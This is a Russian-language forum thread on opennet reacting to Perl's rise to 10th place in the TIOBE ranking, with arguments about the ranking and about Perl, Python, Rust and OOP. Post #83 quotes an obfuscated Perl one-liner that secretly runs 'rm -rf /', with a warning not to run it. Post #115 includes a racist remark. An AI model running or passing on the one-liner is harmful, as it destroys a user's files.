Вариант для распечатки		Пред. тема | След. тема
Форум Разговоры, обсуждение новостей
Изначальное сообщение		[ Отслеживать ]

"Язык Perl поднялся с 27 на 10 место в рейтинге Tiobe"	+/–
Сообщение от opennews (??), 14-Сен-25, 12:16
Компания TIOBE Software опубликовала сентябрьский рейтинг популярности языков программирования. Выпуск примечателен значительным ростом популярности языка Perl, который за год поднялся с 27 на 10 место рейтинга. В феврале индекс популярности  Perl составлял 0.49%, после чего начался его рост до 0.7% в марте, 0.9% в апреле, 1.2% в мае, 1.47% в июне,  1.76% в июле и достиг 2.08% в августе... Подробнее: https://www.opennet.me/opennews/art.shtml?num=63878
Ответить | Правка | Cообщить модератору

Сообщения

[Сортировка по ответам | RSS]

1. Сообщение от Аноним (1), 14-Сен-25, 12:16	+28 +/–
Самый бредовый рейтинг из всех, словно из параллельной вселенной. Раст, видите ли, менее популярен, чем вижуал бейсик и дельфи. Вы че там, совсем того?
Ответить | Правка | Наверх | Cообщить модератору
Ответы: #2, #3, #49, #76, #110, #153

2. Сообщение от A.Stahl (ok), 14-Сен-25, 12:25	+8 +/–
Это рейтинг запросов. Видимо вопросы про Раст нет смысла задавать через поисковик, а статей\форумов по Бейсику и Дельфи -- валом, и поиск с помощью Гугла достаточно эффективен.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #1 Ответы: #155

3. Сообщение от Аноним (3), 14-Сен-25, 12:25	+12 +/–
На бейсике и дельфи очень много легаси, очень много GUI софта, который дорого переписывать с нуля. Раст же бодается с сями. И хайпит в основном узких кругах и то только практически только в опен сорсе.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #1 Ответы: #13

5. Сообщение от Ларри (?), 14-Сен-25, 12:35	+9 +/–
Предсказуемо, зуммеры начали "вкуривать" истинные языки и приходят к истокам. Диды оказывается не зря ели свой хлеб.
Ответить | Правка | Наверх | Cообщить модератору
Ответы: #31, #55

6. Сообщение от Аноним (6), 14-Сен-25, 12:37	+4 +/–
Щас поисковые запросы все делает ИИ, а уж он делает то, что ему покажется правильным. Например, когда я его спрашиваю про проблемы и их решения в геймдеве, он постоянно ищет про юнити, годот и анрил. При этом ни один из этих движков меня не интересует и я ими не пользуюсь.
Ответить | Правка | Наверх | Cообщить модератору

9. Сообщение от Savaoff (?), 14-Сен-25, 12:39	+/–
Смысла обсуждать perl  на stackover нету. Все давно уже обсуждено на perlmonks, etc и прекрасно гуглится.
Ответить | Правка | Наверх | Cообщить модератору
Ответы: #15

10. Сообщение от Trurl (-), 14-Сен-25, 12:40	+1 +/–
Какая разница на каком языке копипаста сгенерированнай айайай-агентом. /s
Ответить | Правка | Наверх | Cообщить модератору

11. Сообщение от Bottle (?), 14-Сен-25, 12:42	+1 +/–
Любители перловки таки вкурили, что в топы рейтинга попадают язычки, о которых чаще всего говорят, а не на которых работают. Желаем перловке успехов!
Ответить | Правка | Наверх | Cообщить модератору
Ответы: #54

13. Сообщение от Аноним (-), 14-Сен-25, 12:47	+/–
>На бейсике и дельфи очень много легаси, очень много GUI софта, который дорого переписывать с нуля. Лично я на Дельфи в нулевые много прогал. Может мои проги кто-то поддерживает. Последний раз писал в году эдак 2011-м.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #3

15. Сообщение от Аноним (15), 14-Сен-25, 13:04	+/–
А писать на пёрле так и не научились. Вон locale-gen на нём и я уже устал от того, что glibc теряет локали через минуту после генерации, хотя файлы на диске. Раньше такого не было, я склонен винить перловку. От 1000 пакетов зависимостей пропихнутых стараниями редхата в иксы и десктоп тоже не в восторге (спасибо от идеи пропихивать руби отказались, но это не лучше).
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #9 Ответы: #131

16. Сообщение от Аноним (16), 14-Сен-25, 13:13	+3 +/–
Впечатление, что краулеры лютуют, ибо язык Ада туда же. Либо ИИ учатся языкам древних.
Ответить | Правка | Наверх | Cообщить модератору
Ответы: #63

17. Сообщение от Аноним (17), 14-Сен-25, 13:20	+3 +/–
Long Live Perl! Я выскажу свое мнение: перл давал возможность писать девелоперо-зависимый код, т.е. код который мог сопровождать только автор. Это было прекрасно для программистов, но катастрофично для менеджеров. Это старая война на перловом месте. Если писать ясный код, то перл лучший скриптовый язык.
Ответить | Правка | Наверх | Cообщить модератору
Ответы: #39, #56, #73, #77, #147

25. Сообщение от Аноним (25), 14-Сен-25, 14:07	+2 +/–
JavaScript и Python два самых убогих и при этом два самых популярных языка. В них кстати нет строгой типизации, это для начала. Как так-то?
Ответить | Правка | Наверх | Cообщить модератору
Ответы: #28, #29, #32, #46, #85

28. Сообщение от Аноним (28), 14-Сен-25, 14:22	+1 +/–
На JavaScript по моим наблюдениям сейчас никто не начинает новых проектов, а старые  с разной скоростью переписываются на TypeScript. А уже в TypeScript отличная система типов.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #25 Ответы: #35

29. Сообщение от Аноним (29), 14-Сен-25, 14:27	+3 +/–
Не скажу что-то про JavaScript, но Python очень простой, понятный и универсальный. А скорость разработки очень высокая! Возможно есть лучше языки программирования, только после того когда у них хайп кончится, про них все забудут! А владелецам такого кода придётся раскошелиться на переписывания кода.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #25 Ответы: #36, #38, #53, #122

31. Сообщение от Аноним (31), 14-Сен-25, 14:47	+/–
Но к кследующей публикации рейтинга SQL обойдёт Perl потому, как зашёл в игрострой https://www.opennet.me/opennews/art.shtml?num=63853 :)
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #5 Ответы: #47

32. Сообщение от Аноним (32), 14-Сен-25, 15:45	–6 +/–
Великий Python - лучше всех! Доля рынка - вещь упрямая! Как бы вы не брызгали слюной.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #25 Ответы: #80

35. Сообщение от penetrator (?), 14-Сен-25, 16:10	+1 +/–
насчет отличной ты погярячился и ООП там кастрированный но это лучше чем ничего, но если уж выбирать TS или JS то лучше последний свежаших стандартов
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #28 Ответы: #40, #78, #81, #168

36. Сообщение от penetrator (?), 14-Сен-25, 16:11	–3 +/–
питон стал популярным из-за AI библиотек, а как язык ну такое, скриптовая лабуда, больше всего бесит вложенность отступами
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #29 Ответы: #41

37. Сообщение от Аноним (38), 14-Сен-25, 16:12	+/–
Зомби откопались из могил и решили что можно еще подефилировать.
Ответить | Правка | Наверх | Cообщить модератору
Ответы: #128

38. Сообщение от Аноним (38), 14-Сен-25, 16:19	–1 +/–
> Не скажу что-то про JavaScript, но Python очень простой, понятный и > универсальный. А скорость разработки очень высокая! Но как в анеке про машинистку и 1000 знаков в минуту - могу, но такая фигня получается! Язык для картонных макетов программ. Потому что они тормозные, глючные, разваливаются постоянно, все баги - в рантайме эту хрень выносят, большие проекты помирают в глюках и тормозах, а через пару лет это вообще работать перестает нахрен, если не переписыать постоянно. А так все хорошо прекрасная маркиза.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #29 Ответы: #42

39. Сообщение от Anony Mouse (?), 14-Сен-25, 16:27	+/–
>  код который мог сопровождать только автор. Нора намного глубже. Сам свой рабочий код изучал примерно через год после написания, было тяжело (и не сказать чтобы успешно). Perl это просто write-only код, истинный смысл написанного улетучивается из ноосферы  ровно в тот момент, когда закрывается редактор.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #17 Ответы: #52

40. Сообщение от Аноним (62), 14-Сен-25, 16:40	+1 +/–
> ООП там кастрированный Он просто другой. Но для вчерашних ООП — это «как в Яве», или на худой конец «как в крестах». А всё остальное кажется кастрированным в силу банального отсутствия знаний. Ну да что с кодеров взять.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #35 Ответы: #65, #87

41. Сообщение от Аноним (62), 14-Сен-25, 16:42	–1 +/–
> питон стал популярным из-за AI библиотек При чём сделал это раньше, чем эти библиотеки появились. Почему у местных кекспертов так пригорает от популярности Питона?
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #36 Ответы: #44, #106

42. Сообщение от Аноним (62), 14-Сен-25, 16:45	+/–
> тормозные, глючные, разваливаются постоянно Если кто-то не умеет программировать, то это вряд ли проблема языка. > проекты помирают в глюках и тормозах, а через пару лет это вообще работать перестает нахрен, если не переписыать постоянно Интересно, как в таких условиях Dropbox или да хоть тот же Гугл только выживают?
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #38 Ответы: #146

43. Сообщение от Аноним (-), 14-Сен-25, 16:50	+1 +/–
Приятно видеть как Ada набирает обороты.
Ответить | Правка | Наверх | Cообщить модератору
Ответы: #45

44. Сообщение от Аноним (31), 14-Сен-25, 16:56	–2 +/–
У них про отступы больше пригорает. Или они в C блоки кода отступами не выделяют?
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #41 Ответы: #64

45. Сообщение от Аноним (31), 14-Сен-25, 16:58	+3 +/–
Если бы в ядре её увидеть. Так бы и количество оборотов было бы неважно.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #43 Ответы: #95

46. Сообщение от Аноним (46), 14-Сен-25, 16:58	+/–
> В них кстати нет строгой типизации, это для начала В python есть, хоть и опционально.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #25

47. Сообщение от Ларри (?), 14-Сен-25, 16:59	+/–
Ну так, SQL-же, а не KV какой-нить.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #31

49. Сообщение от Fuf (?), 14-Сен-25, 17:08	+6 +/–
Всё правильно. Рейтинг показывает, на каких языка действительно пишут, а о каких лишь постоянно говорят. :)
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #1 Ответы: #59, #62, #154

50. Сообщение от Голдер и Рита (?), 14-Сен-25, 17:11	–1 +/–
PHP обогнал Rust!🤣
Ответить | Правка | Наверх | Cообщить модератору
Ответы: #88

51. Сообщение от Аноним (51), 14-Сен-25, 17:14	+1 +/–
самый бесполезный и никчемный рейтинг, который вообще ничего интересного не показывает В принципе более бесполезной фигни чем TIOBE сложно даже придумать
Ответить | Правка | Наверх | Cообщить модератору

52. Сообщение от Аноним 80_уровня (ok), 14-Сен-25, 17:25	+/–
"Just works" применительно к перл-коду имеет особый смысл. Но, на самом деле, "писа́ть на Си можно на любом языке".
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #39

53. Сообщение от Аноним (53), 14-Сен-25, 17:32	+/–
Лол, и у каких известных компаний он в проде? Десктоп приложения не делают, на сервере - тормоз, на мобилках - его нет. Разве что в подвальных конторках чёто пытаются на коленке запилить, но если вдруг выстрелит - как только, так сразу команду разгоняют и переписывают на нормальный ЯП.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #29 Ответы: #66

54. Сообщение от Аноним (54), 14-Сен-25, 17:37	+/–
Странно, что Rust не на первом месте.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #11 Ответы: #57, #82

55. Сообщение от Аноним (55), 14-Сен-25, 17:39	+/–
> Предсказуемо, зуммеры начали "вкуривать" истинные языки и приходят к истокам Скорее диды вышли в тираж, а новопришедшие на их место видят перловку и со словами "что это за х-ня??" лезут в гугл. И подымают перловке рейтинг. > Диды оказывается не зря ели свой хлеб. Невероятно сомнительное утверждение))
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #5 Ответы: #75

56. Сообщение от Аноним (55), 14-Сен-25, 17:41	+2 +/–
> Это было прекрасно для программистов, но катастрофично для менеджеров. Это прекрасно только для одного единственного программиста - того, кто пишет это код. Даже в команде сложно работать, а если тебе достался чужой легаси-проект... то вообще ахтунг.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #17

57. Сообщение от Commet (?), 14-Сен-25, 17:52	–1 +/–
Местные борцунчики с растом не в курсе, но у раста очень хорошая и подробная документация, а потому не приходится по помойкам шариться в поисках инфы
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #54 Ответы: #58

58. Сообщение от Аноним (54), 14-Сен-25, 17:57	+3 +/–
Какому языку из топ 5 документации не хватает? Кажется дело вовсе не в документации...
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #57 Ответы: #84, #133

59. Сообщение от Commet (?), 14-Сен-25, 18:31	+4 +/–
Рейтинг показывает температуру у бегемота пролетающего над Марсом в полнолуние и ничего более
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #49 Ответы: #118

60. Сообщение от Tron is Whistling (?), 14-Сен-25, 18:41	+/–
"Причины роста популярности Perl не ясны" "Индекс популярности TIOBE строит свои выводы на основе анализа статистики поисковых запросов" Внезапно. По сути всё, что надо знать. "Рейтинг" с источником данных в виде шума океанов Марса.
Ответить | Правка | Наверх | Cообщить модератору

62. Сообщение от Аноним (62), 14-Сен-25, 18:44	+2 +/–
Все языки программирования делятся на две категории: те, на которые постоянно жалуются, и те, на которых ничего не пишут.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #49

63. Сообщение от Аноним (63), 14-Сен-25, 18:46	+6 +/–
Ада это язык такой же безопасный, как и раст, и ещё на нём пишут американские военные. В связи с тем, какая в мире 4 года обстановка и куда идут бюджеты, меня совершенно не удивляет рост Ады.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #16 Ответы: #157

64. Сообщение от Аноним (62), 14-Сен-25, 18:47	–2 +/–
Единственное, что выделяют местные кексперты — комментарии. Кодить тут умеет от силы десяток человек, программировать — и того меньше.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #44

65. Сообщение от Аноним (63), 14-Сен-25, 18:48	+2 +/–
Настоящий ООП это как CLOS.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #40 Ответы: #86, #121

66. Сообщение от Аноним (62), 14-Сен-25, 18:49	+/–
Ютуб, может слышал? Ну там ещё какая-то поисковая система, вроде самая популярна в мире, и прочая подвальная фигня.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #53 Ответы: #79

68. Сообщение от Фрол (?), 14-Сен-25, 18:54	+/–
> But by TIOBE's ranking, Perl is still the #10 most-popular programming in September (dropping from #9 in August). а это потому что ув-я редакция опеннета спит в оглоблях и заголовок надо править так: "Язык Perl упал на 10е место" > новопришедшие на их место видят перловку и со словами "что это за х-ня??" лезут в гугл. И подымают перловке рейтинг мало того они еще и на амазоне книжки по перлу  покупают, мерзавцы этакие, делают кассу хроматику
Ответить | Правка | Наверх | Cообщить модератору
Ответы: #69

69. Сообщение от Фрол (?), 14-Сен-25, 18:57	+/–
...и Уоллу сотоварищи
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #68

73. Сообщение от Ononim (?), 14-Сен-25, 19:27	+/–
Нет тут никакой прекрасности для программистов. Писать на регэкспах погут только особые эстеты. Поэтому перл и не пошёл в массы, пожтому заслуженно сдох.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #17

75. Сообщение от Аноним (75), 14-Сен-25, 20:13	+1 +/–
Но если видят perl - значит где-то требуется. Отсюда и популярность.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #55

76. Сообщение от Аноним (76), 14-Сен-25, 20:13	+/–
Рейтинг на основе запросов. Чем лучше язык знаешь, тем меньше ищешь что-либо для него. Питон впихнули во все школьные программы. Но пригоден ли он для нормального программирования - это вряд ли.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #1 Ответы: #117, #162

77. Сообщение от Аноним (75), 14-Сен-25, 20:15	+/–
что значит давал??
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #17

78. Сообщение от Аноним (76), 14-Сен-25, 20:16	+/–
Можно и без ООП обходиться. Как у Julia, например. Но у TS вполне сносная система типов.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #35

79. Сообщение от Аноним (76), 14-Сен-25, 20:17	+/–
А где там питон то?.... Он там на стадии POC и закончился.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #66 Ответы: #92

80. Сообщение от Аноним (76), 14-Сен-25, 20:19	+/–
Не путайте долю рынка и долю поисковых запросов о нём. У питона нет устойчивого рынка ни в одной предметной области. Он просто абсолютно везде хуже какого-то специализированного языка. А в Вебе, например, ему вообще не место. Браузерный код как писали на TS/JS, так и будут в ближайшие 20 лет писать. Как и бизнес-логику на TS.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #32

81. Сообщение от Аноним (1), 14-Сен-25, 20:33	+/–
> ООП "Настоящий ООП" -- это когда насильно впихивают классы всюду. Настолько насильно, что в яве даже утилитные функции не создашь без того, чтобы не засунуть их в класс в виде статических методов. А вообще, ООП в том виде, как его учат в универах, изрядно устарел. Композиция лучше наследования. Наследование -- это нарушение инкапсуляции, но ООП-фанатиков это не смущает. Паттерны ООП -- это дисциплина, целиком посвященная решению проблем, порожденных самим же ООП.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #35 Ответы: #96

82. Сообщение от Аноним (82), 14-Сен-25, 20:52    Скрыто ботом-модератором	+/–
Раст там, где и должен быть - около Матлаба.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #54

83. Сообщение от Аноним (83), 14-Сен-25, 20:53	+/–
Взято из https://ru.m.wikipedia.org/wiki/Perl : Программа печатает простые числа: perl -wle '(1 x $_) !~ /^(1|((11+)\3+))$/ && print while ++ $_' Программа рекурсивно удаляет все файлы на корневой фс (НЕ ЗАПУСКАЙТЕ ЕЁ): echo "test... test... test..." | perl -e '$??s:;s:&s;;$?::s;;=]=>%-{<-|}<&|`{;;$y; -/:-@[[-`{-};`-{/" -;;s;;$_;see' (В результате запускается system"rm -rf /" )
Ответить | Правка | Наверх | Cообщить модератору
Ответы: #119

84. Сообщение от Аноним (62), 14-Сен-25, 21:06	+/–
Хорошей? Каждому.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #58

85. Сообщение от Аноним (82), 14-Сен-25, 21:07	+1 +/–
> В них кстати нет строгой типизации В Питоне строгая типизация вообще-то.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #25 Ответы: #123

86. Сообщение от Аноним (62), 14-Сен-25, 21:08	+1 +/–
Они все настоящие, но CLOS среди них — лучший.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #65 Ответы: #89, #109

87. Сообщение от freehck (ok), 14-Сен-25, 21:09	+/–
>> ООП там кастрированный > Он просто другой. Но для вчерашних ООП — это «как в Яве», > или на худой конец «как в крестах». А всё остальное кажется > кастрированным в силу банального отсутствия знаний. Ну да что с кодеров > взять. Люто плюсую. ООП "как в яве / в крестах" -- просто один из видов ООП, основанный на классовой модели. Вообще, у ООП-парадигмы есть свои проблемы, которые в разных языках решаются по-разному. Например та же проблема ромба: в каких-то языках она просто зависит от имлементации (типа тех же крестов), в каких-то есть чёткая спецификация её разрешения (типа CLOS), в каких-то её просто нет, потому что нет множественного наследования (C#), в каких-то нет множественного наследования, но оно решается подмешиванием трейтов (Scala)... И это только верхушка айсберга -- это касается только ромба, и только классовых ООП-ов. А есть ещё и другие виды ООП. В языка типа SML вообще потребности в ООП нет, потому что там через фанкторы можно определять на лету аж целые модули, которые в отличие от объектов могут содержать не только поля и методы, но ещё и, к примеру, новые типы данных. В OCaml пошли ещё дальше и таки ввели классовую парадигму ООП, но исключительно в целях совместного решения уравнений типа для всего класса сразу. Причём не сказать, чтобы это было сильно востребовано, ибо OCaml является наследником SML (уж простит меня Лерой Ксавьер за такое мнение =)). Так что, когда ребятки видят экземплярный ООП в Perl, где объекты порождаются не через определение класса, а через создание копии экземпляра другого объекта -- по-видимому у них срабатывает синдром утёнка, потому что первое, что они видели -- скорее всего было "как в яве", "как в крестах", "как в шарпах". Но ситуация с ООП куда сложнее. Дело в том, что нет двух языков, в которых ООП был бы реализован одинакого. Если ты знаешь ООП в одном языке -- ты знаешь только этот ООП в этом конкретном языке, и ты не знаешь никаких других. И нет какого-то одного единого правильного эталонного ООП, на который все ориентируются.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #40 Ответы: #104

88. Сообщение от Аноним (82), 14-Сен-25, 21:09	–1 +/–
Ибо на расте сайт не написать.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #50 Ответы: #93, #112, #114

89. Сообщение от freehck (ok), 14-Сен-25, 21:10	+/–
> Они все настоящие, но CLOS среди них — лучший. При всём уважении к CLOS, лучший ООП -- это functor-ы в SML/OCaml. =) PS: да, я знаю, что это не ООП; просто нафиг нужен ООП, если у тебя в руках functor?
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #86 Ответы: #135

90. Сообщение от Аноним (83), 14-Сен-25, 21:13	+3 +/–
Pascal прёт вверх за счёт Lazarus'а. На Lazarus'е можно делать не только native приложения, но и web- и android-
Ответить | Правка | Наверх | Cообщить модератору
Ответы: #129

91. Сообщение от Аноним (91), 14-Сен-25, 21:19	–1 +/–
Пишу на расте. Спрашиваю вопросы у GPT. Возможно статистику популярности поисковых запросов делают диды для Делфи? Не ясно
Ответить | Правка | Наверх | Cообщить модератору
Ответы: #94

92. Сообщение от Аноним (62), 14-Сен-25, 21:21	+/–
> А где там питон то? Если не вдаваться в подробности, то везде. И как универсальный клей, и как язык реализации отдельных сервисов. Что довольно забавно, потому что в контексте основных продуктов гугла практически всё является high load always on. И отдельные участки кода на питоне обрабатывают в сумме по несколько десятков миллионов запросов в сутки, и всем норм, даже рефакторинг нигде не чешется, и это компания с доходом как бюджет небольшой страны. Зато местные кексперты готовы оптимизировать код сайта для своего ларька с шавухой с тремя посетителями в день до талого, вместо того чтобы быстро написать лишь бы работало и пойти эту самую шавуху заворачивать.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #79 Ответы: #99, #103

93. Сообщение от Аноним (-), 14-Сен-25, 21:57	+/–
Ещё как можно. Более того, вариантов и для фронта, и для бэка достаточно.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #88

94. Сообщение от Аноним (82), 14-Сен-25, 22:00	+/–
Пишу на заборе. Спрашиваю у прохожих. Получаются какие-то математические формулы про икс, игрек и "и краткое".
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #91 Ответы: #100, #101

95. Сообщение от Аноним (-), 14-Сен-25, 22:01	+/–
Ну, уже есть ядра написанные на Ada и SPARK. Например, Ironclad.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #45

96. Сообщение от Аноним (31), 14-Сен-25, 22:02	+/–
В каком месте это нарушение инкапсуляции?
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #81

97. Сообщение от Аноним (116), 14-Сен-25, 22:08	+/–
> Язык Perl поднялся с 27 на 10 место в рейтинге Tiobe Это всё что нужно знать о Tiobe.
Ответить | Правка | Наверх | Cообщить модератору
Ответы: #105

99. Сообщение от Аноним (76), 14-Сен-25, 22:17	+/–
Не придумывайте того, чего не знаете. Гугл не просто так делал языки Go, Dart. И, может быть где-то питон они и используют, но процент его в проде - весьма мал.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #92

100. Сообщение от Аноним (31), 14-Сен-25, 22:18	–1 +/–
Зет транспонированное с волной.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #94

101. Сообщение от Минона (ok), 14-Сен-25, 22:18	+/–
Твои формулы ошибочны.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #94

102. Сообщение от Аноним (-), 14-Сен-25, 22:22	–1 +/–
> число книг по Perl в 4 раза превышает PHP При этом популярность PHP, хоть и упала, но он вполне живой. А перловка и раньше была нишевая, а сейчас вообще непонятно зачем нужна.
Ответить | Правка | Наверх | Cообщить модератору

103. Сообщение от Аноним (103), 14-Сен-25, 22:37	+/–
> язык реализации отдельных сервисов Пруфов конечно же не будет. Из собственных продуктов гугла с исходным открытым кодом - хром, андроид, фуксия, webrtc - питон есть примерно нигде ни для чего. А вот потребителям своих облачных серверлесс платформ они как раз наоборот впаривают питон с жс - продавая вычислительные ресурсы раз в 10 дороже чем у обычных VPS/VDS провайдеров. Скриптодети платят, денежка капает.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #92 Ответы: #148

104. Сообщение от penetrator (?), 14-Сен-25, 22:38	+/–
так почему в EcmaScript вроде уже как лет 10 появились классы? то что есть в JS это не просто еще один вид ООП, это одна из его худших реализаций, поэтому называя ее кстрированной я еще смягчаю реальность, JS - это вечно накаченныя стероидами скриптотня, а накачивают потому что в браузере альтернативы нет, поражают только любители обмазаться на сервере
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #87

105. Сообщение от Чолхан (ok), 14-Сен-25, 22:41	+/–
Да не, всё гораздо прозаичнее - просто я искал и копался в исходниках насчет реализации (s)rand в perl
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #97

106. Сообщение от penetrator (?), 14-Сен-25, 22:43	+/–
>> питон стал популярным из-за AI библиотек > При чём сделал это раньше, чем эти библиотеки появились. Почему у местных > кекспертов так пригорает от популярности Питона? если его пользовали 2.5 землекопа, то это еще была не популярность
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #41 Ответы: #120

109. Сообщение от Минона (ok), 14-Сен-25, 23:33	+/–
Лучший в эрланге.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #86

110. Сообщение от Аноним (110), 14-Сен-25, 23:38	+/–
Так там учитывают кол-во новых программ на различных языках, а на Rust оно в пределах статистической погрешности.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #1

112. Сообщение от Аноним (110), 14-Сен-25, 23:43	–1 +/–
А если и написать, то его сразу же взломают, так как в зависимость в crates.io добавят вирус.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #88 Ответы: #116

113. Сообщение от Ivan7 (ok), 15-Сен-25, 00:02	+/–
К сожалению, Perl слишком медленный, по производительности примерно как Python, т.е. в сотни раз медленнее C/C++. Хотя для скриптов Perl хороший язык - компактный, лаконичный. Для скриптов его и использую.
Ответить | Правка | Наверх | Cообщить модератору

114. Сообщение от Аноним (116), 15-Сен-25, 00:22	+1 +/–
Почему не написать? axum + askama. По ощущениям 1 в 1 как питоновский flask, только в 100 раз быстрее и типобезопасный (включая шаблоны).
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #88

115. Сообщение от Аноним (115), 15-Сен-25, 00:22	+/–
Вообще странно да, раньше все жрали что дают, а тут вдруг Perl, который в линуксах все еще используется, но старательно замещается Питоняшей. Удивительно как так весьма годный язык не смогли совсем похоронить, а он оказывается кому-то нужен. Ведь все должны бы следовать куда паровоз едет, а тут вдруг ИИ со своим мнением и люди вдруг узнали что есть что-то годное от него и теперь ИИ создает тренды. Вот это номер. "Мы тут вбухали миллиарды, чтобы науськать всех на свои языки, а ИИ нам такую свинью подложил" наверное думают западные менеджеры. Есть не только люди, а еще и ИИ с которым ну никак не хочется считаться, потому что он не в курсе трендов. Он вообще за объективность. Он не политкорректно может выдать ответ негру что 2 + 2 будет четыре, а это математика белых и вообще наши тараканы самые лучшие и не смейте смеяться над ними!
Ответить | Правка | Наверх | Cообщить модератору
Ответы: #125

116. Сообщение от Аноним (116), 15-Сен-25, 00:24	+1 +/–
А на чём не взломают? У всех современных языков есть аналог crates.io (pypi, npm, rubygems, pear/pecl, ...), кроме go у которого исходники тянутся напрямую из git реп, что ещё менее безопасно.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #112

117. Сообщение от Sem (??), 15-Сен-25, 01:14	+/–
Расскажи про нормальное программирование инстаграм, спотифай, нетфликс, дропбокс и еще сотне известных компаний.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #76

118. Сообщение от Sem (??), 15-Сен-25, 01:16	+/–
Да, но умный человек по температуре бегемота может экстраполировать некоторые данные о погоде на Марсе. Поэтому, почему бы и нет?
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #59

119. Сообщение от x3who (?), 15-Сен-25, 01:19	+/–
Благодаря этому популярному однострочнику у команды rm теперь есть специальный ключ, без которого она не будет удалять / :)
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #83 Ответы: #151

120. Сообщение от Sem (??), 15-Сен-25, 01:52	+/–
Пик популярности python 2 пришелся на 2008-2010 годы. Tensorflow и Pytorch появились после 2015 года. Даже Гвидо признался, что сильно недооценил количество кода написанного кода на python 2, когда выпускал 3-й. Это было далеко не "2.5 землекопа". Думаю, что не переоцню, если предположу, что речь шла о миллионах программистов по всему миру.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #106

121. Сообщение от nuclight (??), 15-Сен-25, 02:32	+/–
Настоящий ООП есть только один, от автора понятия - в Smalltalk.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #65

122. Сообщение от nuclight (??), 15-Сен-25, 02:40	+/–
> Python очень простой, понятный Месяц назад начал его учить - столько нелогичностей в жизни разом не видел. Нет, понятно, что ляпы есть везде, но только Бидон умудряется называть свою свалку "простым, понятным и *пригодным для обучения новичков* (!) языком.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #29 Ответы: #161

123. Сообщение от nuclight (??), 15-Сен-25, 02:43	+/–
Правда? ``` x: Int = 1 x = "whooy" print(x) ``` не ругается, хотя при строгой типизации должен.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #85 Ответы: #134, #149, #165

125. Сообщение от Илья (??), 15-Сен-25, 03:25	+2 +/–
> но старательно замещается Питоняшей Даже пёрл лучше чем питон
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #115 Ответы: #130, #137

128. Сообщение от turbo2001 (ok), 15-Сен-25, 04:05	+/–
Просто разработчики ушли во всякие chatgpt и поэтому в трендах поисковиков поднялись ретроградские языки
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #37

129. Сообщение от 12yoexpert (ok), 15-Сен-25, 04:10	+/–
не дай бог, понимаете ли, езуз наш кристус, ещё когда-нибудь использоввать индексацию с единицы
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #90

130. Сообщение от Аноним (115), 15-Сен-25, 04:31	+/–
